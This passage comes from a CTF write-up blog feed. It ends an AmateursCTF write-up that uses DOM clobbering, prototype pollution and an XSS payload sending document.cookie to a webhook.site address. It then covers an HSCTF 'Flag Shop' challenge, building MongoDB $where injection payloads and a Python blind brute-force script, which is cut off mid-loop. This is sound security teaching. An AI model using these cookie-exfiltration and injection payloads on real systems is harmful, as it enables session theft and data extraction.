<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;a id=<span style="color:#fc6a5d">&#34;debug&#34;</span>&gt;&lt;a id=<span style="color:#fc6a5d">&#34;debug&#34;</span> name=<span style="color:#fc6a5d">&#34;extension&#34;</span> href=<span style="color:#fc6a5d">&#34;//redacted.m.pipedream.net&#34;</span>&gt;&lt;/a&gt;&lt;/a&gt;
</span></span></code></pre></div><p>The Pipedream webhook would then send the header <code>Access-Control-Allow-Origin: *</code>, and a very simple JSON object:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{&#34;report&#34;:<span style="color:#fc5fa3">true</span>,&#34;__proto__&#34;:{&#34;sanitize&#34;:<span style="color:#fc5fa3">false</span>}}
</span></span></code></pre></div><p>Why did I put <code>sanitize</code> inside <code>__proto__</code>? That was the only way I found to override a private property without a setter, as trying to inject <code>sanitize</code> directly would result in the error <code>TypeError: Cannot set property sanitize of #&lt;Debug&gt; which has only a getter</code>.</p>
<p>Once sanitization is disabled, the challenge becomes a simple XSS. My rant&rsquo;s content:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;img src=<span style="color:#fc6a5d">&#34;/&#34;</span> onerror=<span style="color:#fc6a5d">&#34;window.location=&#39;https://webhook.site/redacted/?&#39;+document.cookie&#34;</span> /&gt;
</span></span></code></pre></div><p>Putting everything together, we find that the admin&rsquo;s cookie <code>flag</code> contained <code>amateursCTF{s@nit1zer_ap1_pr3tty_go0d_but_not_p3rf3ct}</code>.</p>
<h2 id="thoughts">Thoughts</h2>
<p>Before this challenge I only knew the idea behind DOM clobbering and had never tried it. The solution was very short in the end, but I needed a lot of research to get to it. I found it fun and educational, and that&rsquo;s why I decided to make a writeup. :)</p>
]]></content></item><item><title>HSCTF 10 - Flag Shop</title><link>https://theromanxpl0.it/posts/2023/06/hsctf-10-flag-shop/</link><pubDate>Mon, 12 Jun 2023 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2023/06/hsctf-10-flag-shop/</guid><description>&lt;blockquote>
&lt;p>“hsctf pay to win confirmed?”&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>Prior knowledge: basic web-related knowledge, Burpsuite&lt;/em>&lt;/p>
&lt;h2 id="context">Context&lt;/h2>
&lt;p>We are provided with the link to the website and its corresponding source code.
The website appears to be very simple, and the source code is quite short:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/hsctf2023/FlagShopHome.png" alt="Screenshot showing the Flag Shop homepage with search bar and table">
&lt;p>Content of &lt;code>app.py&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> os
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> traceback
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> pymongo.errors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> flask &lt;span style="color:#fc5fa3">import&lt;/span> Flask, jsonify, render_template, request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> pymongo &lt;span style="color:#fc5fa3">import&lt;/span> MongoClient
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>app = Flask(&lt;span style="color:#41a1c0">__name__&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FLAG = os.getenv(&lt;span style="color:#fc6a5d">&amp;#34;FLAG&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>app.config[&lt;span style="color:#fc6a5d">&amp;#34;SECRET_KEY&amp;#34;&lt;/span>] = os.getenv(&lt;span style="color:#fc6a5d">&amp;#34;FLASK_SECRET&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mongo_client = MongoClient(connect=&lt;span style="color:#fc5fa3">False&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>db = mongo_client.database
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>@app.route(&lt;span style="color:#fc6a5d">&amp;#34;/&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> render_template(&lt;span style="color:#fc6a5d">&amp;#34;index.html&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>@app.route(&lt;span style="color:#fc6a5d">&amp;#34;/api/search&amp;#34;&lt;/span>, methods=[&lt;span style="color:#fc6a5d">&amp;#34;POST&amp;#34;&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">search&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> request.json is &lt;span style="color:#fc5fa3">None&lt;/span> or &lt;span style="color:#fc6a5d">&amp;#34;search&amp;#34;&lt;/span> not in request.json:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> jsonify({&lt;span style="color:#fc6a5d">&amp;#34;error&amp;#34;&lt;/span>: &lt;span style="color:#fc6a5d">&amp;#34;No search provided&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;results&amp;#34;&lt;/span>: []}), &lt;span style="color:#d0bf69">400&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> results = db.flags.find(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;$where&amp;#34;&lt;/span>: &lt;span style="color:#fc6a5d">f&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;this.challenge.includes(&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">{&lt;/span>request.json[&lt;span style="color:#fc6a5d">&amp;#39;search&amp;#39;&lt;/span>]&lt;span style="color:#fc6a5d">}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;)&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }, {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;_id&amp;#34;&lt;/span>: &lt;span style="color:#fc5fa3">False&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;flag&amp;#34;&lt;/span>: &lt;span style="color:#fc5fa3">False&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ).sort(&lt;span style="color:#fc6a5d">&amp;#34;challenge&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">except&lt;/span> pymongo.errors.PyMongoError:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> traceback.print_exc()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> jsonify({&lt;span style="color:#fc6a5d">&amp;#34;error&amp;#34;&lt;/span>: &lt;span style="color:#fc6a5d">&amp;#34;Database error&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;results&amp;#34;&lt;/span>: []}), &lt;span style="color:#d0bf69">500&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> jsonify({&lt;span style="color:#fc6a5d">&amp;#34;error&amp;#34;&lt;/span>: &lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;results&amp;#34;&lt;/span>: &lt;span style="color:#d0a8ff">list&lt;/span>(results)}), &lt;span style="color:#d0bf69">200&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#41a1c0">__name__&lt;/span> == &lt;span style="color:#fc6a5d">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> app.run()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So we know that the website uses MongoDB as its &lt;a href="https://www.talend.com/resources/sql-vs-nosql/">(NoSQL)&lt;/a> database.&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>“hsctf pay to win confirmed?”</p></blockquote>
<p><em>Prior knowledge: basic web-related knowledge, Burpsuite</em></p>
<h2 id="context">Context</h2>
<p>We are provided with the link to the website and its corresponding source code.
The website appears to be very simple, and the source code is quite short:</p>
<img class="img-responsive" src="/hsctf2023/FlagShopHome.png" alt="Screenshot showing the Flag Shop homepage with search bar and table">
<p>Content of <code>app.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> os
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> traceback
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> pymongo.errors
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> flask <span style="color:#fc5fa3">import</span> Flask, jsonify, render_template, request
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pymongo <span style="color:#fc5fa3">import</span> MongoClient
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app = Flask(<span style="color:#41a1c0">__name__</span>)
</span></span><span style="display:flex;"><span>FLAG = os.getenv(<span style="color:#fc6a5d">&#34;FLAG&#34;</span>)
</span></span><span style="display:flex;"><span>app.config[<span style="color:#fc6a5d">&#34;SECRET_KEY&#34;</span>] = os.getenv(<span style="color:#fc6a5d">&#34;FLASK_SECRET&#34;</span>)
</span></span><span style="display:flex;"><span>mongo_client = MongoClient(connect=<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>db = mongo_client.database
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route(<span style="color:#fc6a5d">&#34;/&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> render_template(<span style="color:#fc6a5d">&#34;index.html&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route(<span style="color:#fc6a5d">&#34;/api/search&#34;</span>, methods=[<span style="color:#fc6a5d">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">search</span>():
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> request.json is <span style="color:#fc5fa3">None</span> or <span style="color:#fc6a5d">&#34;search&#34;</span> not in request.json:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;No search provided&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: []}), <span style="color:#d0bf69">400</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>		results = db.flags.find(
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;$where&#34;</span>: <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;this.challenge.includes(&#39;</span><span style="color:#fc6a5d">{</span>request.json[<span style="color:#fc6a5d">&#39;search&#39;</span>]<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;)&#34;</span>
</span></span><span style="display:flex;"><span>			}, {
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;_id&#34;</span>: <span style="color:#fc5fa3">False</span>,
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;flag&#34;</span>: <span style="color:#fc5fa3">False</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		).sort(<span style="color:#fc6a5d">&#34;challenge&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">except</span> pymongo.errors.PyMongoError:
</span></span><span style="display:flex;"><span>		traceback.print_exc()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;Database error&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: []}), <span style="color:#d0bf69">500</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: <span style="color:#d0a8ff">list</span>(results)}), <span style="color:#d0bf69">200</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>	app.run()
</span></span></code></pre></div><p>So we know that the website uses MongoDB as its <a href="https://www.talend.com/resources/sql-vs-nosql/">(NoSQL)</a> database.</p>
<p><code>index.html</code> and <code>index.css</code> don&rsquo;t contain anything interesting, while <code>index.js</code> helps us understand that the buttons are useless and that <code>api/search</code> is the endpoint path used to make the POST request for the search.</p>
<p>Content of <code>index.js</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> search_form = <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;search-form&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> search_input = <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;search&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> items = <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;items&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>search_form.addEventListener(<span style="color:#fc6a5d">&#34;submit&#34;</span>, <span style="color:#fc5fa3">function</span> (event) {
</span></span><span style="display:flex;"><span>	event.preventDefault();
</span></span><span style="display:flex;"><span>	search(search_input.value);
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">async</span> <span style="color:#fc5fa3">function</span> search(val) {
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">let</span> resp = <span style="color:#fc5fa3">await</span> fetch(<span style="color:#fc6a5d">&#34;/api/search&#34;</span>, {
</span></span><span style="display:flex;"><span>		method: <span style="color:#fc6a5d">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>		headers: {
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;Content-Type&#34;</span>: <span style="color:#fc6a5d">&#34;application/json&#34;</span>,
</span></span><span style="display:flex;"><span>		},
</span></span><span style="display:flex;"><span>		body: JSON.stringify({ search: val }),
</span></span><span style="display:flex;"><span>	});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">let</span> { error, results } = <span style="color:#fc5fa3">await</span> resp.json();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> (error) {
</span></span><span style="display:flex;"><span>		items.textContent = error;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	items.innerHTML = <span style="color:#fc6a5d">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">let</span> { challenge, price } <span style="color:#fc5fa3">of</span> results) {
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">let</span> row = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;tr&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">let</span> chall_cell = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;td&#34;</span>);
</span></span><span style="display:flex;"><span>		chall_cell.textContent = challenge;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">let</span> price_cell = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;td&#34;</span>);
</span></span><span style="display:flex;"><span>		price_cell.textContent = <span style="color:#fc6a5d">`$</span><span style="color:#fc6a5d">${</span>price<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">.00`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">let</span> buy_cell = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;td&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">let</span> buy_button = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;button&#34;</span>);
</span></span><span style="display:flex;"><span>		buy_button.textContent = <span style="color:#fc6a5d">&#34;Buy Flag&#34;</span>;
</span></span><span style="display:flex;"><span>		buy_button.addEventListener(<span style="color:#fc6a5d">&#34;click&#34;</span>, <span style="color:#fc5fa3">function</span> () {
</span></span><span style="display:flex;"><span>			alert(<span style="color:#fc6a5d">&#34;Not implemented yet!&#34;</span>);
</span></span><span style="display:flex;"><span>		});
</span></span><span style="display:flex;"><span>		buy_cell.append(buy_button);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		row.append(chall_cell, price_cell, buy_cell);
</span></span><span style="display:flex;"><span>		items.append(row);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>search(<span style="color:#fc6a5d">&#34;&#34;</span>);
</span></span></code></pre></div><p>Nothing that we couldn&rsquo;t have discovered by playing around with the website.</p>
<h2 id="playing-around">Playing around</h2>
<p>A quick analysis of the code would have been enough to understand where the vulnerability lies, but my teammate and I decided to bombard the <code>search</code> field. Everything seems to be working correctly,
and searching with an empty <code>textfield</code> returns all results.</p>
<p>The payloads from the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection">PayloadsAllTheThings</a> repository are mostly used for <a href="https://book.hacktricks.xyz/pentesting-web/login-bypass">login bypass</a>, while the <a href="https://portswigger.net/kb/issues/00100d00_server-side-javascript-code-injection">SSJI</a> payloads don&rsquo;t seem to do anything.</p>
<p>When we send <code>0;return true</code>, no result is displayed, while with <code>';return 'a'=='a' &amp;&amp; ''=='</code>, the previous query result remains (unexpected behavior, it should give us either a different result or an error).</p>
<p>Stupidly, we didn&rsquo;t take a look at the logs, but this is what happened if a 500 error code was obtained. Perfect! I only understood this after trying to send the payload to the <code>api/search</code> endpoint with <a href="https://portswigger.net/burp/documentation/desktop/tools/repeater">Burp Repeater</a>. We now know for sure that the vulnerability lies in the definition of the query.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>@app.route(<span style="color:#fc6a5d">&#34;/api/search&#34;</span>, methods=[<span style="color:#fc6a5d">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">search</span>():
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> request.json is <span style="color:#fc5fa3">None</span> or <span style="color:#fc6a5d">&#34;search&#34;</span> not in request.json:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;No search provided&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: []}), <span style="color:#d0bf69">400</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>		results = db.flags.find(
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;$where&#34;</span>: <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;this.challenge.includes(&#39;</span><span style="color:#fc6a5d">{</span>request.json[<span style="color:#fc6a5d">&#39;search&#39;</span>]<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;)&#34;</span>
</span></span><span style="display:flex;"><span>			}, {
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;_id&#34;</span>: <span style="color:#fc5fa3">False</span>,
</span></span><span style="display:flex;"><span>			<span style="color:#fc6a5d">&#34;flag&#34;</span>: <span style="color:#fc5fa3">False</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		).sort(<span style="color:#fc6a5d">&#34;challenge&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">except</span> pymongo.errors.PyMongoError:
</span></span><span style="display:flex;"><span>		traceback.print_exc()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;Database error&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: []}), <span style="color:#d0bf69">500</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> jsonify({<span style="color:#fc6a5d">&#34;error&#34;</span>: <span style="color:#fc6a5d">&#34;&#34;</span>, <span style="color:#fc6a5d">&#34;results&#34;</span>: <span style="color:#d0a8ff">list</span>(results)}), <span style="color:#d0bf69">200</span>
</span></span></code></pre></div><p>The if statement and error handling are normal. The only line to analyze is the <code>$where</code> clause.</p>
<h2 id="exploiting-the-vulnerability-extended-thought-process">Exploiting the vulnerability (extended thought process)</h2>
<p>The input is directly inserted with an <a href="https://www.geeksforgeeks.org/formatted-string-literals-f-strings-python/">f-string</a> with 0 sanitization. Referring to the MongoDB <code>$where</code> clause <a href="https://www.mongodb.com/docs/manual/reference/operator/query/where/#mongodb-query-op.-where">docs</a>, we read:</p>
<blockquote>
<p>Use the <code>$where</code> operator to pass either a string containing a JavaScript expression or a full JavaScript function to the query system.</p></blockquote>
<p>It could be intuitively understood by reading the content of <code>db.flags.find()</code> that the <code>$where</code> clause executes any JavaScript code passed to it.</p>
<p>At this point, I copied the JS code to a code editor. When I have challenges like this, to make things easier for me, I copy the string and try to construct a very simple payload without moving the cursor.</p>
<p>With <code>');</code> we escaped the string and closed the statement, giving us an <a href="https://portswigger.net/kb/issues/00100d00_server-side-javascript-code-injection">SSJI</a>. All that&rsquo;s left is to get rid of the extra <code>')'</code> at the end. I wasn&rsquo;t able to do this (and I don&rsquo;t think it was possible, but it certainly wasn&rsquo;t necessary) since I couldn&rsquo;t use comments. So, I went full monkey mode and just copied the previous function, forming a first test payload:</p>
<p><code>'); this.challenge.includes('</code>, interpreted as <code>this.challenge.includes(''); this.challenge.includes('')</code> by the program. The output is what we expected and desired, which is to return all results (like a <code>' OR 1=1</code>).</p>
<p>By testing or reading the documentation, we can discover that this happens because only the last valid condition is computed by the $where clause. This means that we can write anything in the first <code>include</code>, since it won&rsquo;t be interpreted (<code>something'); this.challenge.includes('</code>):</p>
<img class="img-responsive" src="/hsctf2023/burp1.png" alt="Burp Suite screenshot showing the result of a request sent with the payload (`something'); this.challenge.includes('`), which returns all the results from the database">
<p>While the second one is interpreted (<code>something'); this.challenge.includes('search</code>):</p>
<img class="img-responsive" src="/hsctf2023/burp2.png" alt="Burp Suite screenshot showing that if we include a search parameter in the injected 'include', the query will execute it">
<p>So we have the vulnerability, but we cannot directly retrieve the flag since it is excluded from the query (if you&rsquo;re not sure, please reread the source code).
I then tried a payload with a boolean operator (<code>something'); always_true() || this.challenge.includes('something</code>):</p>
<img class="img-responsive" src="/hsctf2023/burp3.png" alt="Burp Suite screenshot showing all challenges result after including an 'or 1==1' before the injected search parameter">
<p>This is very useful for searching for a potential attack. We can perform a conditional check on the flag using <code>&amp;&amp; this.challenge.includes('flag')</code> to only get results from the <code>flag-shop</code> entity. We can do a first test with the flag format (<code>something'); this.flag.includes('flag{') &amp;&amp; this.challenge.includes('flag</code>):</p>
<img class="img-responsive" src="/hsctf2023/FirstBlind.png" alt="Burp Suite screenshot showing result including 'flag{'">
<img class="img-responsive" src="/hsctf2023/BlindNotWorking.png" alt="Burp Suite screenshot showing no result after including a random word as search parameter">
<p>We will have to take advantage of this behavior, performing a small brute force to reconstruct the flag character by character. We can now start to construct our payload.</p>
<h2 id="final-payload">Final payload</h2>
<h3 id="payload-used-during-the-ctf">Payload used during the CTF</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> urllib3
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> urllib
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> time
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> json
</span></span><span style="display:flex;"><span>urllib3.disable_warnings()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>url = <span style="color:#fc6a5d">&#34;http://flag-shop.hsctf.com/api/search&#34;</span>
</span></span><span style="display:flex;"><span>headers={<span style="color:#fc6a5d">&#39;content-type&#39;</span>: <span style="color:#fc6a5d">&#39;application/json&#39;</span>}
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">&#34;flag{&#34;</span>
</span></span><span style="display:flex;"><span>search = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;kj&#39;); this.flag.includes(&#39;</span><span style="color:#fc6a5d">{</span>flag<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;) &amp;&amp; this.challenge.includes(&#39;flag&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in string.printable:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(c)
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> c not in [<span style="color:#fc6a5d">&#39;*&#39;</span>,<span style="color:#fc6a5d">&#39;+&#39;</span>,<span style="color:#fc6a5d">&#39;.&#39;</span>,<span style="color:#fc6a5d">&#39;?&#39;</span>,<span style="color:#fc6a5d">&#39;|&#39;</span>,<span style="color:#fc6a5d">&#39;&amp;&#39;</span>,<span style="color:#fc6a5d">&#39;$&#39;</span>, <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;&#39;&#34;</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#fc6a5d">&#34;|&#34;</span>, <span style="color:#fc6a5d">&#34;/&#34;</span>]:
</span></span><span style="display:flex;"><span>                search = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;kj&#39;); this.flag.includes(&#39;</span><span style="color:#fc6a5d">{</span>flag + c<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;) &amp;&amp; this.challenge.includes(&#39;flag&#34;</span>
